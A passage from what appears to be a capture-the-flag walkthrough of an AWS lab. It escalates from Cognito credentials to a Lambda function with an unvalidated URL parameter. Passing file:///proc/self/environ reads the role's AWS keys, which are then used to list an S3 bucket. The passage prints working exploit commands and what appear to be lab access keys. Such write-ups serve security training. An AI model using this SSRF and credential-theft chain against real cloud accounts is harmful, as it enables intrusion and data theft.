3GkFHOjWQU/SpoLdkmnBJoLNTQYuF0hK3+C8NsHT",
"Expiration": "2024-07-24T18:16:15+08:00"
}
}
We will configure the credentials again and confirm that these are working
❯ aws --profile cognito sts get-caller-identity
{
"UserId": "AROAWHEOTHRFZ7HQ7Z6QA:CognitoIdentityCredentials",
"Account": "427648302155",
"Arn": "arn:aws:sts::427648302155:assumed-role/Cognito_StatusAppAuth_Role/CognitoIdentityCredentials"
}
This account appears to have more permissions so we will see what policies are attached to it
❯ aws --profile cognito iam list-role-policies --role-name Cognito_StatusAppAuth_Role
{
"PolicyNames": [
"oneClick_Cognito_StatusAppAuth_Role_1689349464673"
]
}
❯ aws --profile cognito iam list-attached-role-policies --role-name Cognito_StatusAppAuth_Role
{
"AttachedPolicies": [
{
"PolicyName": "Status",
"PolicyArn": "arn:aws:iam::427648302155:policy/Status"
}
]
}
❯ aws --profile cognito iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Status
{
"Policy": {
"PolicyName": "Status",
"PolicyId": "ANPAWHEOTHRF4PPCP4KUA",
"Arn": "arn:aws:iam::427648302155:policy/Status",
"Path": "/",
"DefaultVersionId": "v4",
"AttachmentCount": 2,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-07-13T21:07:44+00:00",
"UpdateDate": "2023-07-15T09:43:20+00:00",
"Tags": []
}
}
Let’s now retrieve the policy document using aws --profile cognito iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Status --version-id v4
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"lambda:InvokeFunction",
"lambda:GetFunction"
],
"Resource": "arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": "lambda:ListFunctions",
"Resource": "*"
}
]
},
"VersionId": "v4",
"IsDefaultVersion": true,
"CreateDate": "2023-07-15T09:43:20+00:00"
}
}
We have the Lambda List Functions permission and whilst we already have a function name, we will validate and also get more information using aws --profile cognito lambda list-functions
{
"Functions": [
{
"FunctionName": "huge-logistics-status",
"FunctionArn": "arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status",
"Runtime": "python3.10",
"Role": "arn:aws:iam::427648302155:role/service-role/huge-logistics-status-role-4m4kg3fv",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 775,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2023-07-17T17:21:11.000+0000",
"CodeSha256": "78BBjKChkzNIwtlGOiI9paXxi/IYSuzv1GUaXBNuqY0=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "287ac428-dfc2-4911-b003-e765795d1a5d",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/huge-logistics-status"
}
},
{
"FunctionName": "SecretsManagermysql-rotation",
"FunctionArn": "arn:aws:lambda:us-east-1:427648302155:function:SecretsManagermysql-rotation",
"Runtime": "python3.9",
"Role": "arn:aws:iam::427648302155:role/SecretsManagerRDSMariaDBR-SecretsManagerRDSMariaDB-128H7L75TCDD5",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 893992,
"Description": "Rotates a Secrets Manager secret for Amazon RDS MariaDB credentials using the alternating users rotation strategy.",
"Timeout": 30,
"MemorySize": 128,
"LastModified": "2023-07-12T18:48:35.825+0000",
"CodeSha256": "LbavP2POQ9AcuPXX54bNIhLOPpMF7GYd/qmDa3WcIp0=",
"Version": "$LATEST",
"Environment": {
"Variables": {
"EXCLUDE_CHARACTERS": "/@\"'\\",
"SECRETS_MANAGER_ENDPOINT": "https://secretsmanager.us-east-1.amazonaws.com"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "108eb366-f627-488e-81c6-25a07003ecc4",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/SecretsManagermysql-rotation"
}
}
]
}
There are two functions listed, but we are only able to get additional information on huge-logistics-status
and there is an S3 endpoint
❯ aws --profile cognito lambda get-function --function-name huge-logistics-status
{
"Configuration": {
"FunctionName": "huge-logistics-status",
"FunctionArn": "arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status",
"Runtime": "python3.10",
"Role": "arn:aws:iam::427648302155:role/service-role/huge-logistics-status-role-4m4kg3fv",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 775,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2023-07-17T17:21:11.000+0000",
"CodeSha256": "78BBjKChkzNIwtlGOiI9paXxi/IYSuzv1GUaXBNuqY0=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "287ac428-dfc2-4911-b003-e765795d1a5d",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
"RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:bbd47e5ef4020932b9374e2ab9f9ed3bac502f27e17a031c35d9fb8935cf1f8c"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/huge-logistics-status"
}
},
"Code": {
"RepositoryType": "S3",
"Location": "https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/427648302155/huge-logistics-status-ebb6abbc-63e9-47f8-b5a3-9dfc4c2e69dc?versionId=GXaKVxYEoBEFPyPl3E9avQChcfMNvUCf&X-Amz-Security-Token=IQoJb3JpZ2luX2VjENr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIH97Sh5SSH0xia54CuXAM7qsdU7ihMV9ZeEtpeSythRoAiEA7MnuXVEWZN8EkvDyiVGitkTdD5WNXBZ6nJnAwAJtofcqwwUIsv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAEGgw0NzkyMzMwMjUzNzkiDOCQLlp2L16xtzOWmyqXBco8bTCq5Jwb%2Fws8HZx%2B414lred68wQAuSjyl2%2Blgm%2BLW1dTFWEfuJAwvXpFd6w7i8GF54oLvwByT%2FSvfn6f9qW8enQ5ekz%2BxyJm6sHXoMmFjw3kLJvlAqUuMVcUaFcz%2FVwTgvhYjiuuh63aybhxBe8%2B7iNr1Q1kOq9r7iTFTajiJHbh%2FX1xRuW0hyueAsal9pwcwfTIozdqq%2BQCRY1hhG48SESY5bfdtvoK4Xt8zSbUiFXuHWKH5FwmC4K9G2PvXFQY2ESpV1Sk5nT1V5Vst4E%2B40mod3vUdWPy%2BFl%2FEV%2FVIeQdHQ6FoNC9oSBQhIPqxaYXI0akF9iJ32%2BoQDhR4NPgbXTvHWyVVfa2r3fxaHYEd6d1BBpNw%2Bbb2P2g8bvL%2Fuqk%2FZwea8jPKxRoNa3yeiiatpPi4HBpKzLsmYdoU8Nq7yjVIwm%2FvPhCAFWq%2BTyQmVblxyxRSsFAiHfXGPdrJachGM2xxmY%2Bjv2dlpTfWtRSp2mcq%2FQw6LUQZtHk3ab3ndYfK6FhP4h5MgNqJ6xsqiL4GOYe6zZa4kOrKKfEmQ2klutSNUIwRamiZsQFI0NXqJV9bzoG5Q7kXBhnzX1uhRjBM10MG%2F5X3niiyH0wS7HokKkdiUDYsbex7Nhj8dRkIxYuw%2BMgNIyGJ0he0fAOR98tYyWQApq%2FWCP%2BqlxUyi50cNis9vaJJEC%2Bv8fa%2BiCIUGPlYvXuRbskiCKOIPiW7jOrL35LcpRpa8I5B%2FB8RVfvBf1XO%2BX5It6MxGsT6veCGSWg4Ja3agxDs%2BCSvocY4Jw%2BgKjnEvx%2B9aFm%2Bfnlpf%2B5NrkmA6zrCVuQ0OgcuqmdEs267GH5%2FauGml4Quv43eqzu3jYrlTVzWp43hH4n%2FOHWLXLw0NNu%2BjCp0Ia1BjqxAdzqW5pkxVnEDKI1S9jPft12%2FYS2YAax%2F%2BmddJV6UPPUc0rlo4E1mPyteBnga%2FYZ7pgTQ1MOoJl96JCP0PUo4irD0ONpnC80Jui803j3ULlB5z6TZ6OqULEkeK5%2BTAi%2F%2B1uoMAl1zEvnC04kCRxfpg%2B3Rl1seja%2FLvtuad2eWwNSjgoMe%2BvR161mQfCthUd0gSD9fR6qmIEOZB%2BI9zHVmD8LKndT2JV7bH52GHdAJ91rzg%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20240725T021049Z&X-Amz-SignedHeaders=host&X-Amz-Expires=599&X-Amz-Credential=ASIAW7FEDUVRU3ZRZFPA%2F20240725%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=987b2f23efaf48e24adeb021fba1cc1261882eda39fb965ef0623826c27d9e1c"
}
}
We have been able to download the zip file
❯ wget 'https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/427648302155/huge-logistics-status-ebb6abbc-63e9-47f8-b5a3-9dfc4c2e69dc?versionId=GXaKVxYEoBEFPyPl3E9avQChcfMNvUCf&X-Amz-Security-Token=IQoJb3JpZ2luX2VjENr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQD96gx8luPXuMru60QpJrCQnd21AvZGFZQuL29st3kAgQIhAM9hm09BgU%2BOhk3BWephW1YMhNqB4YJTH784zPwDYX96KsMFCLP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQBBoMNDc5MjMzMDI1Mzc5IgxxQiKRqCxHSczV3BgqlwVJbUhabfULZzjYqIJLd%2Fpnby%2FuWtRO5VflGyMD9MBLeilm9t%2B9KENNCZT1PemNvL6pnA%2BtoGFPjOVvrHbfACCb2tY1q9Iq%2Fh%2BWFH2bLVQfyKOD8IIA0ne38%2BICH%2FBClpAz3FMFh19vewRt7Gr%2BmWGhbCmMUfFYnesRwV0PPL81UylNl5kjmdSdKi9FL7wWUaYVHOlUpuH%2Bb1YBUw5zRYFa6cCX%2F87KDsBxe%2FdEFkRDGZ9RAzkIGw3tCuXhNnoWXOSIxnQhIYN6QTZUwa7HpAIQfraodAoOBPqRNcWDozBeTO%2B53US%2F%2BtvMs7qsENv5mqyTOADsI%2BugYHsU5qBg2ciiljR8s4kNhsO%2B37yEaQxx767hVEWJ7xgswBIJrw0W4HRV3%2BfLLUAofbpx%2BSKQc6%2B%2BIL63bGfL2%2BmaJ1htyp%2Bywbvup6mVmtbtLYTb7M3MgjieRo9mo3%2FLGenDFPNp4r6R4QXB%2FIAQH%2F06KSLzUjykJorQQYZjPtd7HO3txTPNfOZbYMP0EvkvCiyD8QGb%2F77NP3QKhcxmdqYGvuHG6JMMFyt670jBxgoJTHHZDgwV%2Bdc39uvAfoOmclN3LPDiXp86fpiiwvBMBSHHch%2BM0LveGtIi0WFD3%2FUAUtuImCNXK21f%2Be05p8mwkQxar1nJobMxFuvO39%2FJgjNFPdcXSIPoLNQ1OJh5MLKwS0qY%2BOpjm9531Hetk%2BEuF%2FV%2BhQGW7LqD8Qwb08znaMCiwfcv9jHhbJAWoCFGSL59QvqvVCu58vYZO2zY4pD3xGTEP8SrzACCQRJWUVRRXItdmhHEQ0jTz4vOr3eunoeGBws8qMQx9YaZiXU7AtREyOTV3FEaXgdKkOusDZa9pvZt2W4FEGbv4yMO3g9v9bAw2deGtQY6sAHPa03ge8ZlsGjlF9AupnpXYNDC3KfumbRmnXL2X%2FuAi830TJmATlhBxHHqKK9FnCfPkcZLIuAOkKw5WuVKlWkqc%2ByXy4AHodmvCIba6LjNgWDNpuzTV3Pognh6tnbWXS%2FwnD83TQUdhrhAZOyU0ayDSMMb6fz9JIxsrdwBSjo9Mwbhf6xx3VMcPo%2FzXUXR0tQwLfvRZb7KOaW5iYAq3Aa3OTcFKqJBLSgVIBuIOUQjWQ%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20240725T022153Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAW7FEDUVR4LHAEQXQ%2F20240725%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=6204ae30eaf5eec0878200e1a7ac31829f3c67361ef04af800a872f620fdf661' -O huge-logistics-status.zip
--2024-07-25 10:26:43-- https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/427648302155/huge-logistics-status-ebb6abbc-63e9-47f8-b5a3-9dfc4c2e69dc?versionId=GXaKVxYEoBEFPyPl3E9avQChcfMNvUCf&X-Amz-Security-Token=IQoJb3JpZ2luX2VjENr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQD96gx8luPXuMru60QpJrCQnd21AvZGFZQuL29st3kAgQIhAM9hm09BgU%2BOhk3BWephW1YMhNqB4YJTH784zPwDYX96KsMFCLP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQBBoMNDc5MjMzMDI1Mzc5IgxxQiKRqCxHSczV3BgqlwVJbUhabfULZzjYqIJLd%2Fpnby%2FuWtRO5VflGyMD9MBLeilm9t%2B9KENNCZT1PemNvL6pnA%2BtoGFPjOVvrHbfACCb2tY1q9Iq%2Fh%2BWFH2bLVQfyKOD8IIA0ne38%2BICH%2FBClpAz3FMFh19vewRt7Gr%2BmWGhbCmMUfFYnesRwV0PPL81UylNl5kjmdSdKi9FL7wWUaYVHOlUpuH%2Bb1YBUw5zRYFa6cCX%2F87KDsBxe%2FdEFkRDGZ9RAzkIGw3tCuXhNnoWXOSIxnQhIYN6QTZUwa7HpAIQfraodAoOBPqRNcWDozBeTO%2B53US%2F%2BtvMs7qsENv5mqyTOADsI%2BugYHsU5qBg2ciiljR8s4kNhsO%2B37yEaQxx767hVEWJ7xgswBIJrw0W4HRV3%2BfLLUAofbpx%2BSKQc6%2B%2BIL63bGfL2%2BmaJ1htyp%2Bywbvup6mVmtbtLYTb7M3MgjieRo9mo3%2FLGenDFPNp4r6R4QXB%2FIAQH%2F06KSLzUjykJorQQYZjPtd7HO3txTPNfOZbYMP0EvkvCiyD8QGb%2F77NP3QKhcxmdqYGvuHG6JMMFyt670jBxgoJTHHZDgwV%2Bdc39uvAfoOmclN3LPDiXp86fpiiwvBMBSHHch%2BM0LveGtIi0WFD3%2FUAUtuImCNXK21f%2Be05p8mwkQxar1nJobMxFuvO39%2FJgjNFPdcXSIPoLNQ1OJh5MLKwS0qY%2BOpjm9531Hetk%2BEuF%2FV%2BhQGW7LqD8Qwb08znaMCiwfcv9jHhbJAWoCFGSL59QvqvVCu58vYZO2zY4pD3xGTEP8SrzACCQRJWUVRRXItdmhHEQ0jTz4vOr3eunoeGBws8qMQx9YaZiXU7AtREyOTV3FEaXgdKkOusDZa9pvZt2W4FEGbv4yMO3g9v9bAw2deGtQY6sAHPa03ge8ZlsGjlF9AupnpXYNDC3KfumbRmnXL2X%2FuAi830TJmATlhBxHHqKK9FnCfPkcZLIuAOkKw5WuVKlWkqc%2ByXy4AHodmvCIba6LjNgWDNpuzTV3Pognh6tnbWXS%2FwnD83TQUdhrhAZOyU0ayDSMMb6fz9JIxsrdwBSjo9Mwbhf6xx3VMcPo%2FzXUXR0tQwLfvRZb7KOaW5iYAq3Aa3OTcFKqJBLSgVIBuIOUQjWQ%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20240725T022153Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAW7FEDUVR4LHAEQXQ%2F20240725%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=6204ae30eaf5eec0878200e1a7ac31829f3c67361ef04af800a872f620fdf661
Resolving prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com (prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com)... 52.217.164.10, 52.217.227.26, 54.231.197.90, ...
Connecting to prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com (prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com)|52.217.164.10|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 775 [application/zip]
Saving to: ‘huge-logistics-status.zip’
huge-logistics-status.zip 100%[==========================================================>] 775 --.-KB/s in 0s
2024-07-25 10:26:44 (42.9 MB/s) - ‘huge-logistics-status.zip’ saved [775/775]
We list the contents and can see that this contains a single Python File
❯ unzip -l huge-logistics-status.zip
Archive: huge-logistics-status.zip
Length Date Time Name
--------- ---------- ----- ----
1663 2023-07-15 17:20 lambda_function.py
--------- -------
1663 1 file
The following is the code
import os
import json
import urllib.request
from datetime import datetime
import boto3
import uuid
def lambda_handler(event, context):
s3 = boto3.client('s3')
bucket_name = 'hl-status-log-bucket'
try:
target = event.get('target', 'http://huge-logistics.com')
response = urllib.request.urlopen(target)
data = response.read()
return_status = 'Service is available.' if response.getcode() == 200 else 'Service is not available.'
return {
'statusCode': response.getcode(),
'statusMessage': return_status,
'body': data.decode('utf-8')
}
except urllib.error.HTTPError as e:
return {
'statusCode': e.code,
'body': json.dumps({
'message': 'HTTP error occurred.',
'details': str(e)
})
}
except Exception as e:
debug_info = {
'error_message': str(e),
'request_time': datetime.utcnow().isoformat(),
'requested_website': target,
'event': event,
'error_id': str(uuid.uuid4()),
}
debug_info_json = json.dumps(debug_info)
# Try to upload to S3
try:
s3.put_object(Body=debug_info_json, Bucket=bucket_name, Key=f'debug_info_{context.aws_request_id}.json')
except Exception as s3_e:
print(f"Failed to upload debug info to S3: {str(s3_e)}")
return {
'statusCode': 500,
'body': json.dumps({
'message': 'Unexpected error occurred.',
'debug_info': debug_info
})
}
There are a couple of major issues with the code being, the target
URL is taken directly from the event without validation nor is validation performed on the parameter to ensure that it is safe and not an internal resource. Given that this is Lambda and is hosted on EC2 instance, this also could allow us to perform arbitrary file reads using file://
URL scheme.
We will invoke the function with the default values
❯ aws --profile cognito lambda invoke --function-name huge-logistics-status response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
This returns a 200 status code and we have the page source code as well. To validate that this is vulnerable we can specify another URL
❯ aws --profile cognito lambda invoke --function-name huge-logistics-status --payload '{ "target": "http://example.com" }' response.json
Invalid base64: "{ "target": "http://example.com" }"
We get an error as we are using the v2 CLI and we will need to pass in some additional parameters to achieve this
❯ aws --profile cognito lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-status --payload '{ "target": "http://example.com" }' response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
Example code from https://docs.aws.amazon.com/cli/latest/userguide/cli_lambda_code_examples.html
So now that we know we can manipulate the payload, lets see what we can find on the EC2 instance and given that this would be Linux, the most logical would be to see environment variables which can be achieved by querying /proc/self/environ
❯ aws --profile cognito lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-status --payload '{ "target": "file:///proc/self/environ" }' response.json
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
We clean this up so that we can read it using jq
and we can see that it contains AWS Keys
❯ jq '.body |= split("\u0000")' response.json
{
"statusCode": null,
"statusMessage": "Service is not available.",
"body": [
"AWS_LAMBDA_FUNCTION_VERSION=$LATEST",
"AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjENv//////////wEaCXVzLWVhc3QtMSJHMEUCIQCShA3Vp8vpZAIs7vQDJyOUFog+WDtHRg2SZ7qGDEEFwQIgVUqN9gwlUHL0GRDDwyJ13bzMJk6gFeYWdnpDPtWIcVIqhwMItP//////////ARAAGgw0Mjc2NDgzMDIxNTUiDG1WZHqSbp4kYdjhoSrbAtmKsLpYTQh8sF4YjEVu+5hi/MW7Tx68aiNVviAOXorlkZuVx/AVZo0xWGcQGtKv4JqE2oSigjNcYFSBe6tetC+2tf7Qy/8JWKLwzj/x7wLCfP5xoDQOdwihBQUC0M+JU68LmGssC3MT+ydLHwOQTBKv9DGmaO1XsXY2OVFRlaSvdUaW8TewitlFjRR8a3aSbAD+uprYJETTI/2lGogzyM6NqSNI2i2k8PWqbt1AgPW/GBAVBC5HmvZIr50cdW+t0MC0jL53MSG2X94FM9doFBFWTirKoJWNyp8N3JOl65KUP+VFsD8rvDDPhmQvZkDEtsTkg3WNNl03CYPoLe1JU7K8CL+eGPfCoE6Tm5wUrsUPqD+HituQENCjlOBrPBpV7EsNP5ouGQocJAJHOVnpfwae6Y3yoSLy8E9AEy/FjyFDL8SjEl8JEqrcIuUjG7TZsd1gcN1yDlGaByWYMMX1hrUGOp4Bis+b1lH666r2X9PBKF0lp3NKifczWo04gMD3UnVS+UQl9R5DwkUxthTb8wexojdzsfMiKEa8mbBoampyNYHFnIGgBx+6bm8xB0mEngmMLLmzP5Dm5NywELosEYAuh0werG5PvJZ2fW3h9SgT1zXlRkrxuyp31XeYbxipnSwjrZSy+4G7PMKdX8h4lGv2oP5uhh7IywF9KgBTL0e7E+U=",
"LAMBDA_TASK_ROOT=/var/task",
"LD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
"AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/huge-logistics-status",
"AWS_LAMBDA_LOG_STREAM_NAME=2024/07/25/[$LATEST]e40f3e32da534d75a4f7fc8a27db0ecc",
"AWS_LAMBDA_RUNTIME_API=127.0.0.1:9001",
"AWS_EXECUTION_ENV=AWS_Lambda_python3.10",
"AWS_LAMBDA_FUNCTION_NAME=huge-logistics-status",
"AWS_XRAY_DAEMON_ADDRESS=169.254.79.129:2000",
"PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
"AWS_DEFAULT_REGION=us-east-1",
"PWD=/var/task",
"AWS_SECRET_ACCESS_KEY=lEuKhUmNAHzJzpI1MHzNreJgpWO6KKxZDbEQ2pMG",
"LANG=en_US.UTF-8",
"LAMBDA_RUNTIME_DIR=/var/runtime",
"AWS_LAMBDA_INITIALIZATION_TYPE=on-demand",
"AWS_REGION=us-east-1",
"TZ=:UTC",
"AWS_ACCESS_KEY_ID=ASIAWHEOTHRF5NBYV6U4",
"SHLVL=0",
"_AWS_XRAY_DAEMON_ADDRESS=169.254.79.129",
"_AWS_XRAY_DAEMON_PORT=2000",
"_LAMBDA_TELEMETRY_LOG_FD=3",
"AWS_XRAY_CONTEXT_MISSING=LOG_ERROR",
"_HANDLER=lambda_function.lambda_handler",
"AWS_LAMBDA_FUNCTION_MEMORY_SIZE=128",
""
]
}
We set the keys and validate that they are working
❯ aws --profile cognito sts get-caller-identity
{
"UserId": "AROAWHEOTHRFZGQWG7JDW:huge-logistics-status",
"Account": "427648302155",
"Arn": "arn:aws:sts::427648302155:assumed-role/huge-logistics-status-role-4m4kg3fv/huge-logistics-status"
}
As we have a new account, lets check out the bucket that was mentioned in the lambda_function.py
code
❯ aws --profile cognito s3 ls hl-status-log-bucket --recursive
2023-07-16 05:14:09 0 IT-Temp/
2023-07-16 05:14:24 54152 IT-Temp/Huge Logistics Company_ AWS Disaster Recovery Plan.pdf
2023-07-15 20:11:50 32 flag.txt
Disaster Recover Plan is always worth looking at which contains Break Glass Recovery Procedures and nice of them to also provide the credentials.
PWNED!